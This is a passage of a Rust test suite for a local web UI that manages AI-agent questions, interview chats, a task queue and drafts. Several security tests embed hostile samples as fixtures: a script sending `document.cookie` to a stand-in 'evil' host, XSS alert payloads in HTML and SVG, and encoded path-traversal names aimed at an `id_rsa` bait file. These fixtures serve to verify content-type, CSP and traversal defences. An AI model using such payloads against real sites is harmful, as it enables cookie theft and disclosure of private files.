4737 "created_at": Timestamp::now().to_string(),
4738 "updated_at": Timestamp::now().to_string(),
4739 "seat": seat,
4740 });
4741 std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
4742 store.get(id).expect("the seeded chat has to be readable");
4745 id.to_owned()
4746 }
4747
4748 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4751 let store = fx.talks();
4752 std::fs::create_dir_all(store.root()).expect("talks dir");
4753 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4754 .expect("serialize a seat");
4755 let body = serde_json::json!({
4756 "schema": 1,
4757 "id": id,
4758 "repo": "/repo/magi",
4759 "agent": "mock",
4760 "status": status,
4761 "turns": [],
4762 "created_at": Timestamp::now().to_string(),
4763 "updated_at": Timestamp::now().to_string(),
4764 "seat": seat,
4765 });
4766 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4767 store.get(id).expect("the seeded talk has to be readable");
4768 id.to_owned()
4769 }
4770
4771 fn good_draft() -> String {
4774 "# Rework the config loader\n\n\
4775 ## Why\n\n\
4776 It re-reads `magi.toml` on every lookup, so a run that asks for the \
4777 roster four hundred times pays four hundred parses of the same file.\n\n\
4778 ## What\n\n\
4779 Load the layers once when the run starts and hand the merged value \
4780 around. Nothing about the file format changes.\n\n\
4781 ## Acceptance criteria\n\n\
4782 - `Config::discover` is called exactly once per run.\n\
4783 - `cargo test` passes with no change to any existing assertion.\n"
4784 .to_owned()
4785 }
4786
4787 #[tokio::test]
4788 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4789 let fx = Fixture::start().await;
4790 let id = panel(
4791 &fx,
4792 "<h1>Merge?</h1><img src=\"diff.svg\">",
4793 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4794 );
4795
4796 for path in [
4797 format!("/api/questions/{id}/panel"),
4798 format!("/api/questions/{id}/asset/diff.svg"),
4799 ] {
4800 let res = fx.get(&path).await;
4801 assert_eq!(res.status, 200, "{path}: {}", res.body);
4802 assert_eq!(
4808 res.header("content-security-policy"),
4809 Some(
4810 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4811 font-src data:; base-uri 'none'; form-action 'none'; \
4812 frame-ancestors 'self'"
4813 ),
4814 "{path} is the only thing between a hostile panel and the tailnet"
4815 );
4816 assert_eq!(
4817 res.header("x-content-type-options"),
4818 Some("nosniff"),
4819 "{path}: a browser must not re-decide the type we sent"
4820 );
4821 assert_eq!(
4822 res.header("referrer-policy"),
4823 Some("no-referrer"),
4824 "{path}: a panel must not leak the question id off the machine"
4825 );
4826
4827 let pre = fx.head(&path).await;
4832 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4833 assert_eq!(
4834 pre.header("content-security-policy"),
4835 res.header("content-security-policy"),
4836 "{path}: the preflight carries the same policy"
4837 );
4838 assert_eq!(
4839 pre.header("content-type"),
4840 res.header("content-type"),
4841 "{path}: the preflight carries the same type"
4842 );
4843 }
4844 }
4845
4846 #[tokio::test]
4847 async fn a_panel_reaches_the_browser_byte_for_byte() {
4848 let fx = Fixture::start().await;
4849 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
4854 let id = panel(&fx, html, &[]);
4855
4856 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4857
4858 assert_eq!(res.status, 200);
4859 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4860 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4861 assert_eq!(
4862 res.header("content-disposition"),
4863 None,
4864 "the panel itself is rendered in the frame, not downloaded"
4865 );
4866 }
4867
4868 #[tokio::test]
4869 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4870 let fx = Fixture::start().await;
4871 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4872 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4873 let id = panel(
4874 &fx,
4875 "<img src=\"diff.svg\"><img src=\"shot.png\">",
4876 &[("diff.svg", svg), ("shot.png", png)],
4877 );
4878
4879 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4880 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4881
4882 assert_eq!(as_svg.status, 200);
4883 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4884 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4889
4890 assert_eq!(as_png.status, 200);
4891 assert_eq!(as_png.header("content-type"), Some("image/png"));
4892 assert_eq!(
4893 as_png.header("content-disposition"),
4894 None,
4895 "a raster image has no execution surface, so tapping it still shows it"
4896 );
4897 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4898 }
4899
4900 #[tokio::test]
4901 async fn an_html_asset_is_never_served_as_html() {
4902 let fx = Fixture::start().await;
4903 let id = panel(
4904 &fx,
4905 "<p>see the notes</p>",
4906 &[
4907 (
4908 "notes.html",
4909 b"<script>fetch('http://evil/'+document.cookie)</script>",
4910 ),
4911 ("hook.js", b"fetch('http://evil/')"),
4912 ("data.json", b"{}"),
4913 ("HEADLINE.TXT", b"plain"),
4914 ],
4915 );
4916
4917 for name in ["notes.html", "hook.js", "data.json"] {
4918 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4919 assert_eq!(res.status, 200, "{name}: {}", res.body);
4920 assert_eq!(
4925 res.header("content-type"),
4926 Some("application/octet-stream"),
4927 "{name} must not be a type the browser will execute or render"
4928 );
4929 }
4930 let txt = fx
4933 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4934 .await;
4935 assert_eq!(
4936 txt.header("content-type"),
4937 Some("text/plain; charset=utf-8")
4938 );
4939 }
4940
4941 #[tokio::test]
4942 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4943 let fx = Fixture::start().await;
4944 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4945 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4949
4950 for encoded in [
4957 "%2e%2e%2fid_rsa",
4958 "..%2fid_rsa",
4959 "..%5cid_rsa",
4960 "%2e%2e%5cid_rsa",
4961 "diff%00.svg",
4962 "..",
4963 ".hidden",
4964 "%2e%2e%2f%2e%2e%2fid_rsa",
4965 ] {
4966 let res = fx
4967 .get(&format!("/api/questions/{id}/asset/{encoded}"))
4968 .await;
4969 assert_eq!(
4970 res.status, 400,
4971 "`{encoded}` has to be refused by name, not looked up: {}",
4972 res.body
4973 );
4974 assert!(res.json()["error"].is_string(), "{}", res.body);
4975 }
4976
4977 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4983 let res = fx
4984 .get(&format!("/api/questions/{id}/asset/{literal}"))
4985 .await;
4986 assert_eq!(
4987 res.status, 404,
4988 "`{literal}` must not match the asset route at all: {}",
4989 res.body
4990 );
4991 }
4992 }
4993
4994 #[tokio::test]
4995 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4996 let fx = Fixture::start().await;
4997 let plain = ask(&fx, "Which backend?", &["SQLite"]);
4998 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4999
5000 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5004 assert_eq!(none.status, 404, "{}", none.body);
5005 assert!(none.json()["error"].is_string(), "{}", none.body);
5006 assert_eq!(
5007 fx.head(&format!("/api/questions/{plain}/panel"))
5008 .await
5009 .status,
5010 404,
5011 "the preflight is the only way the client can learn this"
5012 );
5013
5014 let missing = fx
5016 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5017 .await;
5018 assert_eq!(missing.status, 404, "{}", missing.body);
5019 assert!(missing.json()["error"].is_string(), "{}", missing.body);
5020
5021 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5023 assert_eq!(
5024 fx.get("/api/questions/nope/asset/diff.svg").await.status,
5025 404
5026 );
5027 }
5028
5029 #[tokio::test]
5030 async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
5031 let fx = Fixture::start().await;
5032 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
5033
5034 interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
5035 interview(&fx, "20260903-014456-open", "open", None);
5036
5037 let listed = fx.get("/api/chats").await;
5038 assert_eq!(listed.status, 200, "{}", listed.body);
5039 let chats = listed.json();
5040 assert_eq!(chats.as_array().map(Vec::len), Some(2));
5041 assert_eq!(
5042 chats[0]["id"], "20260903-014456-open",
5043 "an unfinished interview is what the operator came back for: {chats}"
5044 );
5045 assert_eq!(chats[0]["status"], "open");
5046 assert_eq!(chats[0]["turns"][0]["who"], "operator");
5049 assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
5050 assert_eq!(chats[1]["status"], "filed");
5051
5052 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
5055 }
5056
5057 #[tokio::test]
5058 async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
5059 let fx = Fixture::start().await;
5060 let id = interview(&fx, "20260903-014455-ab12", "open", None);
5061
5062 let full = fx.get(&format!("/api/chats/{id}")).await;
5063 assert_eq!(full.status, 200, "{}", full.body);
5064 assert_eq!(full.json()["id"], id);
5065 assert_eq!(full.json()["repo"], "/repo/magi");
5066
5067 let short = fx.get("/api/chats/ab12").await;
5069 assert_eq!(short.status, 200, "{}", short.body);
5070 assert_eq!(short.json()["id"], id);
5071
5072 let missing = fx.get("/api/chats/nosuchchat").await;
5073 assert_eq!(missing.status, 404, "{}", missing.body);
5074 assert!(
5075 missing.json()["error"]
5076 .as_str()
5077 .is_some_and(|e| e.contains("chat")),
5078 "the error names what was not found: {}",
5079 missing.body
5080 );
5081 }
5082
5083 #[tokio::test]
5084 async fn filing_a_bad_draft_reports_every_problem_at_once() {
5085 let fx = Fixture::start().await;
5086 let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
5087
5088 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
5089
5090 assert_eq!(res.status, 400, "{}", res.body);
5091 let problems = res.json()["problems"].clone();
5092 let problems = problems.as_array().expect("an array of problems");
5093 assert!(
5098 problems.len() > 1,
5099 "one round trip has to be enough to fix the draft: {}",
5100 res.body
5101 );
5102 assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
5103 assert!(res.json()["error"].is_string(), "{}", res.body);
5104 assert!(
5105 fx.queue().list().is_empty(),
5106 "a refused draft must not reach the queue"
5107 );
5108
5109 let empty = interview(&fx, "20260903-014456-cd34", "open", None);
5112 let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
5113 assert_eq!(res.status, 400, "{}", res.body);
5114 assert_eq!(
5115 res.json()["problems"].as_array().map(Vec::len),
5116 Some(1),
5117 "{}",
5118 res.body
5119 );
5120 }
5121
5122 #[tokio::test]
5123 async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
5124 let fx = Fixture::start().await;
5125 let draft = good_draft();
5126 let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
5127
5128 let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
5129
5130 assert_eq!(res.status, 200, "{}", res.body);
5131 let task = res.json()["task"]
5132 .as_str()
5133 .unwrap_or_else(|| panic!("a task id: {}", res.body))
5134 .to_owned();
5135
5136 let queued = fx.queue().get(&task).expect("the task is on disk");
5139 assert_eq!(
5140 queued.instruction, draft,
5141 "the draft reaches the graph verbatim"
5142 );
5143 assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
5144 assert_eq!(
5145 fx.get("/api/queue").await.json()[0]["id"],
5146 task,
5147 "the filed task is the listed one"
5148 );
5149
5150 let after = fx.get(&format!("/api/chats/{id}")).await.json();
5152 assert_eq!(after["task"], task);
5153 assert_eq!(after["status"], "filed");
5154 assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
5155 }
5156
5157 #[tokio::test]
5158 async fn abandoning_an_open_chat_marks_it_abandoned_and_is_idempotent() {
5159 let fx = Fixture::start().await;
5160 let id = interview(&fx, "20260903-014455-ab12", "open", None);
5161
5162 let res = fx.post(&format!("/api/chats/{id}/abandon"), None).await;
5163 assert_eq!(res.status, 200, "{}", res.body);
5164 assert_eq!(res.json()["status"], "abandoned");
5165 assert_eq!(
5166 fx.chats().get(&id).expect("get").status,
5167 crate::chat::ChatStatus::Abandoned
5168 );
5169
5170 let again = fx.post(&format!("/api/chats/{id}/abandon"), None).await;
5172 assert_eq!(again.status, 200, "{}", again.body);
5173 assert_eq!(again.json()["status"], "abandoned");
5174 }
5175
5176 #[tokio::test]
5177 async fn abandoning_a_filed_chat_is_refused_and_leaves_it_filed() {
5178 let fx = Fixture::start().await;
5179 let id = interview(&fx, "20260903-014455-cd34", "filed", Some(&good_draft()));
5180
5181 let res = fx.post(&format!("/api/chats/{id}/abandon"), None).await;
5182 assert!(
5183 (400..500).contains(&res.status),
5184 "expected a 4xx, got {}: {}",
5185 res.status,
5186 res.body
5187 );
5188 assert!(res.json()["error"].is_string(), "{}", res.body);
5189
5190 assert_eq!(
5191 fx.chats().get(&id).expect("get").status,
5192 crate::chat::ChatStatus::Filed,
5193 "a refused abandon must not touch the on-disk status"
5194 );
5195 }
5196
5197 #[tokio::test]
5198 async fn a_second_turn_on_a_busy_chat_is_refused_rather_than_interleaved() {
5199 let fx = Fixture::start().await;
5200 let id = interview(&fx, "20260903-014455-ab12", "open", None);
5201 let ui = Ui::new(
5202 fx.queue(),
5203 fx.questions(),
5204 fx.chats(),
5205 fx.talks(),
5206 fx.runs(),
5207 fx.home.path().to_path_buf(),
5208 PathBuf::from("/repo/magi"),
5209 )
5210 .with_worktrees_root(fx.home.path().join("wt"));
5211
5212 let first = ui.begin_turn(&id).expect("the first turn claims the chat");
5216 let second = ui.begin_turn(&id).expect_err("the second must be refused");
5217 assert_eq!(
5218 second.status,
5219 StatusCode::CONFLICT,
5220 "a double tap on a slow link must not append two half-turns"
5221 );
5222
5223 drop(first);
5227 assert!(
5228 ui.begin_turn(&id).is_ok(),
5229 "the slot has to come back on its own"
5230 );
5231 }
5232
5233 #[tokio::test]
5234 async fn is_thinking_is_true_exactly_while_a_turn_guard_is_held() {
5235 let fx = Fixture::start().await;
5236 let id = interview(&fx, "20260903-014455-ab12", "open", None);
5237 let ui = Ui::new(
5238 fx.queue(),
5239 fx.questions(),
5240 fx.chats(),
5241 fx.talks(),
5242 fx.runs(),
5243 fx.home.path().to_path_buf(),
5244 PathBuf::from("/repo/magi"),
5245 )
5246 .with_worktrees_root(fx.home.path().join("wt"));
5247
5248 assert!(!ui.is_thinking(&id), "nothing has claimed a turn yet");
5249
5250 let guard = ui.begin_turn(&id).expect("claim the turn");
5251 assert!(
5252 ui.is_thinking(&id),
5253 "`thinking` is exactly what `Ui::begin_turn` claims"
5254 );
5255 assert!(!ui.is_thinking("20260903-014455-other"));
5258
5259 drop(guard);
5260 assert!(
5261 !ui.is_thinking(&id),
5262 "the claim's release, not a turn landing, is what this reflects"
5263 );
5264 }
5265
5266 #[tokio::test]
5267 async fn a_turn_with_nothing_in_it_never_reaches_an_agent() {
5268 let fx = Fixture::start().await;
5269 let id = interview(&fx, "20260903-014455-ab12", "open", None);
5270
5271 for body in [r#"{"text":" \n "}"#, r#"{}"#] {
5274 let res = fx.post(&format!("/api/chats/{id}/say"), Some(body)).await;
5275 assert_eq!(res.status, 400, "{body}: {}", res.body);
5276 }
5277 let res = fx.post("/api/chats", Some(r#"{"idea":" "}"#)).await;
5278 assert_eq!(res.status, 400, "{}", res.body);
5279
5280 assert_eq!(
5281 fx.get(&format!("/api/chats/{id}")).await.json()["turns"]
5282 .as_array()
5283 .map(Vec::len),
5284 Some(2),
5285 "nothing above may have appended a turn"
5286 );
5287 }
5288
5289 #[tokio::test]
5290 async fn a_run_with_an_open_question_reads_as_waiting() {
5291 let fx = Fixture::start().await;
5292 let run = "20260902-000000-beef".to_owned();
5293 write_run(&fx.runs(), &run, RunStatus::Implementing);
5294
5295 let before = fx.get("/api/runs").await.json();
5296 assert_eq!(before[0]["waiting"], false, "{before}");
5297
5298 let store = fx.questions();
5299 let mut q = Question::new(
5300 run.clone(),
5301 "implement".to_owned(),
5302 "impl-A".to_owned(),
5303 "Which backend?".to_owned(),
5304 String::new(),
5305 vec!["SQLite".to_owned()],
5306 );
5307 store.put(&mut q).expect("put");
5308
5309 let during = fx.get("/api/runs").await.json();
5310 assert_eq!(during[0]["waiting"], true, "{during}");
5311
5312 q.answer(Answer::Choice("SQLite".to_owned()))
5315 .expect("answer");
5316 store.put(&mut q).expect("put");
5317 let after = fx.get("/api/runs").await.json();
5318 assert_eq!(after[0]["waiting"], false, "{after}");
5319 }
5320
5321 #[tokio::test]
5322 async fn an_open_question_is_listed_and_counted_by_health() {
5323 let fx = Fixture::start().await;
5324 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5325
5326 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5327 let listed = fx.get("/api/questions").await.json();
5328 assert_eq!(listed.as_array().expect("array").len(), 1);
5329 assert_eq!(listed[0]["id"], id);
5330 assert_eq!(listed[0]["status"], "open");
5331 assert_eq!(listed[0]["choices"][1], "Redis");
5332 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5335 }
5336
5337 #[tokio::test]
5338 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5339 let fx = Fixture::start().await;
5340 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5341 let path = format!("/api/questions/{id}/answer");
5342
5343 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5344 assert_eq!(res.status, 200, "{}", res.body);
5345 let body = res.json();
5346 assert_eq!(body["status"], "answered");
5347 assert_eq!(body["answer"]["choice"], "Redis");
5348
5349 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5353 assert_eq!(again.status, 409, "{}", again.body);
5354 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5355 }
5356
5357 #[tokio::test]
5358 async fn saying_something_appends_a_turn_without_answering() {
5359 let fx = Fixture::start().await;
5360 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5361 let path = format!("/api/questions/{id}/say");
5362
5363 let res = fx
5364 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5365 .await;
5366 assert_eq!(res.status, 200, "{}", res.body);
5367 let body = res.json();
5368 assert_eq!(body["status"], "open", "talking back is not a decision");
5369 assert_eq!(body["answer"], Value::Null);
5370 assert_eq!(body["thread"][0]["who"], "operator");
5371 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5372 assert_eq!(body["waiting_on_agent"], true);
5373 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5375 }
5376
5377 #[tokio::test]
5378 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5379 let fx = Fixture::start().await;
5380 let store = fx.questions();
5381 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5382 assert_eq!(
5383 fx.get("/api/health").await.json()["questions_needs_owner"],
5384 1
5385 );
5386
5387 let res = fx
5393 .post(
5394 &format!("/api/questions/{id}/say"),
5395 Some(r#"{"body":"why not Postgres?"}"#),
5396 )
5397 .await;
5398 assert_eq!(res.status, 200, "{}", res.body);
5399 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5400 assert_eq!(
5401 fx.get("/api/health").await.json()["questions_needs_owner"],
5402 0,
5403 "waiting on the agent is not waiting on the owner"
5404 );
5405
5406 let mut q = store.get(&id).expect("get");
5410 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5411 .expect("reply");
5412 store.put(&mut q).expect("put");
5413 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5414 assert_eq!(
5415 fx.get("/api/health").await.json()["questions_needs_owner"],
5416 1,
5417 "the agent's reply is what should light the banner back up"
5418 );
5419 }
5420
5421 #[tokio::test]
5422 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5423 let fx = Fixture::start().await;
5424 let store = fx.questions();
5425
5426 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5427 let res = fx
5428 .post(
5429 &format!("/api/questions/{empty_id}/say"),
5430 Some(r#"{"body":" "}"#),
5431 )
5432 .await;
5433 assert_eq!(res.status, 400, "{}", res.body);
5434
5435 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5436 let mut answered = store.get(&answered_id).expect("get");
5437 answered
5438 .answer(Answer::Choice("SQLite".to_owned()))
5439 .expect("answer");
5440 store.put(&mut answered).expect("put");
5441 let res = fx
5442 .post(
5443 &format!("/api/questions/{answered_id}/say"),
5444 Some(r#"{"body":"still there?"}"#),
5445 )
5446 .await;
5447 assert_eq!(res.status, 409, "{}", res.body);
5448
5449 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5450 let mut abandoned = store.get(&abandoned_id).expect("get");
5451 abandoned.abandon("timed out");
5452 store.put(&mut abandoned).expect("put");
5453 let res = fx
5454 .post(
5455 &format!("/api/questions/{abandoned_id}/say"),
5456 Some(r#"{"body":"still there?"}"#),
5457 )
5458 .await;
5459 assert_eq!(res.status, 409, "{}", res.body);
5460 }
5461
5462 #[tokio::test]
5463 async fn an_answer_the_question_does_not_offer_is_refused() {
5464 let fx = Fixture::start().await;
5465 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5466 let path = format!("/api/questions/{id}/answer");
5467
5468 for body in [
5469 r#"{"choice":"Postgres"}"#,
5470 r#"{"text":"whatever you think"}"#,
5471 r#"{"choice":"Redis","text":"both"}"#,
5472 r#"{}"#,
5473 ] {
5474 let res = fx.post(&path, Some(body)).await;
5475 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5476 assert!(res.json()["error"].is_string(), "{}", res.body);
5477 }
5478 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5480 }
5481
5482 #[tokio::test]
5483 async fn a_free_text_question_takes_text_and_not_a_choice() {
5484 let fx = Fixture::start().await;
5485 let id = ask(&fx, "What should the flag be called?", &[]);
5486 let path = format!("/api/questions/{id}/answer");
5487
5488 assert_eq!(
5489 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5490 400
5491 );
5492 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5493 assert_eq!(res.status, 200, "{}", res.body);
5494 assert_eq!(res.json()["answer"]["text"], "--json");
5495 }
5496
5497 #[tokio::test]
5498 async fn an_unknown_question_is_a_json_404() {
5499 let fx = Fixture::start().await;
5500 let res = fx
5501 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5502 .await;
5503 assert_eq!(res.status, 404, "{}", res.body);
5504 assert!(res.json()["error"].is_string());
5505 }
5506
5507 #[tokio::test]
5514 async fn a_task_cannot_be_filed_directly_only_through_an_interview() {
5515 let f = Fixture::start().await;
5516
5517 let res = f
5518 .post(
5519 "/api/queue",
5520 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5521 )
5522 .await;
5523
5524 assert_eq!(
5525 res.status, 405,
5526 "POST /api/queue must not be a route: {}",
5527 res.body
5528 );
5529 assert!(
5530 f.queue().list().is_empty(),
5531 "a task that skipped the interview must not reach the disk"
5532 );
5533 assert_eq!(f.get("/api/queue").await.status, 200);
5536 }
5537
5538 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5540 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5541 .expect("checkout dir");
5542 }
5543
5544 #[tokio::test]
5545 async fn repos_list_returns_name_and_path_for_every_configured_root() {
5546 let tmp = TempDir::new().expect("tempdir");
5547 let repo = tmp.path().join("repo");
5548 std::fs::create_dir_all(&repo).expect("repo dir");
5549 let root = tmp.path().join("root");
5550 make_checkout(&root, "github.com", "yukimemi", "magi");
5551 std::fs::write(
5552 repo.join("magi.toml"),
5553 format!(
5554 "[repos]\nroots = [{:?}]\n",
5555 root.to_string_lossy().into_owned()
5556 ),
5557 )
5558 .expect("write magi.toml");
5559
5560 let f = Fixture::with_repo(repo).await;
5561 let res = f.get("/api/repos").await;
5562 assert_eq!(res.status, 200, "{}", res.body);
5563 let list = res.json();
5564 let repos = list.as_array().expect("an array");
5565 assert_eq!(repos.len(), 1);
5566 assert_eq!(repos[0]["name"], "yukimemi/magi");
5567 assert!(
5568 repos[0]["path"]
5569 .as_str()
5570 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5571 "{list}"
5572 );
5573 }
5574
5575 #[tokio::test]
5576 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5577 let tmp = TempDir::new().expect("tempdir");
5578 let repo = tmp.path().join("repo");
5579 std::fs::create_dir_all(&repo).expect("repo dir");
5580 let root = tmp.path().join("root");
5581 make_checkout(&root, "github.com", "yukimemi", "magi");
5582 std::fs::write(
5583 repo.join("magi.toml"),
5584 format!(
5585 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5586 root.to_string_lossy().into_owned()
5587 ),
5588 )
5589 .expect("write magi.toml");
5590
5591 let f = Fixture::with_repo(repo).await;
5592 let first = f.get("/api/repos").await;
5593 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5594
5595 make_checkout(&root, "github.com", "yukimemi", "rvpm");
5598 let second = f.get("/api/repos").await;
5599 assert_eq!(
5600 second.json().as_array().map(Vec::len),
5601 Some(1),
5602 "a fresh cache must not rescan inside the TTL"
5603 );
5604
5605 let refreshed = f.get("/api/repos?refresh=1").await;
5606 assert_eq!(
5607 refreshed.json().as_array().map(Vec::len),
5608 Some(2),
5609 "an explicit refresh must rescan even inside the TTL"
5610 );
5611 }
5612
5613 #[tokio::test]
5614 async fn draft_advisors_serves_the_raw_record_a_cli_plan_run_wrote() {
5615 let f = Fixture::start().await;
5616 let drafts = f.home.path().join("drafts");
5617 std::fs::create_dir_all(&drafts).expect("drafts dir");
5618 let record = r#"{"records":[{"seat":"advisor-1","agent":"sage-a","duration_ms":1200}]}"#;
5619 std::fs::write(drafts.join("20260906-000000-ab12.advisors.json"), record)
5620 .expect("write advisor record");
5621
5622 let res = f.get("/api/drafts/20260906-000000-ab12/advisors").await;
5623 assert_eq!(res.status, 200, "{}", res.body);
5624 assert_eq!(res.json()["records"][0]["seat"], "advisor-1");
5625 assert!(
5626 res.json()["draft"].is_null(),
5627 "no .md on disk must read as no draft, not as an error: {}",
5628 res.body
5629 );
5630 }
5631
5632 #[tokio::test]
5636 async fn draft_advisors_includes_the_synthesized_task_file_the_deliberation_produced() {
5637 let f = Fixture::start().await;
5638 let drafts = f.home.path().join("drafts");
5639 std::fs::create_dir_all(&drafts).expect("drafts dir");
5640 std::fs::write(
5641 drafts.join("20260906-000000-mn34.advisors.json"),
5642 r#"{"records":[{"seat":"advisor-1","agent":"sage-a","duration_ms":1}],"synthesized":true}"#,
5643 )
5644 .unwrap();
5645 std::fs::write(
5646 drafts.join("20260906-000000-mn34.md"),
5647 "# Rework the config loader\n\n## Context\n\nadvisor-1 argued for X.\n\n## Completion criteria\n\n- [ ] it works\n",
5648 )
5649 .unwrap();
5650
5651 let res = f.get("/api/drafts/20260906-000000-mn34/advisors").await;
5652 assert_eq!(res.status, 200, "{}", res.body);
5653 let body = res.json();
5654 assert!(
5655 body["draft"]
5656 .as_str()
5657 .is_some_and(|d| d.contains("advisor-1 argued for X")),
5658 "{body}"
5659 );
5660 assert!(
5661 body["draft_md"].is_array(),
5662 "the draft must also arrive pre-parsed, like every other markdown surface: {body}"
5663 );
5664 }
5665
5666 #[tokio::test]
5676 async fn draft_advisors_hides_an_unsynthesized_interview_draft() {
5677 let f = Fixture::start().await;
5678 let drafts = f.home.path().join("drafts");
5679 std::fs::create_dir_all(&drafts).expect("drafts dir");
5680 std::fs::write(
5681 drafts.join("20260906-000000-op56.advisors.json"),
5682 r#"{"records":[{"seat":"advisor-1","agent":"sage-a","duration_ms":1,"error":"boom"}]}"#,
5683 )
5684 .unwrap();
5685 std::fs::write(
5686 drafts.join("20260906-000000-op56.md"),
5687 "# Rework the config loader\n\n## Context\n\nplaceholder from the interview.\n",
5688 )
5689 .unwrap();
5690
5691 let res = f.get("/api/drafts/20260906-000000-op56/advisors").await;
5692 assert_eq!(res.status, 200, "{}", res.body);
5693 let body = res.json();
5694 assert!(
5695 body["draft"].is_null(),
5696 "an un-synthesized interview draft must never be served as the deliberation's task file: {body}"
5697 );
5698 assert!(body["draft_md"].is_null(), "{body}");
5699 }
5700
5701 #[tokio::test]
5702 async fn draft_advisors_404s_for_a_draft_with_no_deliberation_on_disk() {
5703 let f = Fixture::start().await;
5704 let res = f.get("/api/drafts/nosuchdraft/advisors").await;
5705 assert_eq!(res.status, 404, "{}", res.body);
5706 }
5707
5708 #[tokio::test]
5716 async fn draft_advisors_does_not_escape_the_drafts_directory_via_a_path_traversal_id() {
5717 let f = Fixture::start().await;
5718 let drafts = f.home.path().join("drafts");
5719 std::fs::create_dir_all(&drafts).expect("drafts dir");
5720 std::fs::write(
5721 drafts.join("20260906-000000-qr78.advisors.json"),
5722 r#"{"records":[]}"#,
5723 )
5724 .unwrap();
5725 std::fs::write(
5726 f.home.path().join("secret.advisors.json"),
5727 r#"{"records":[{"seat":"leak","agent":"x","duration_ms":1}]}"#,
5728 )
5729 .unwrap();
5730
5731 let res = f.get("/api/drafts/..%2Fsecret/advisors").await;
5732 assert_eq!(
5733 res.status, 404,
5734 "a path-traversal id must not resolve to a file outside `drafts`: {}",
5735 res.body
5736 );
5737 }
5738
5739 #[tokio::test]
5740 async fn drafts_list_surfaces_only_drafts_that_finished_deliberation_newest_first() {
5741 let f = Fixture::start().await;
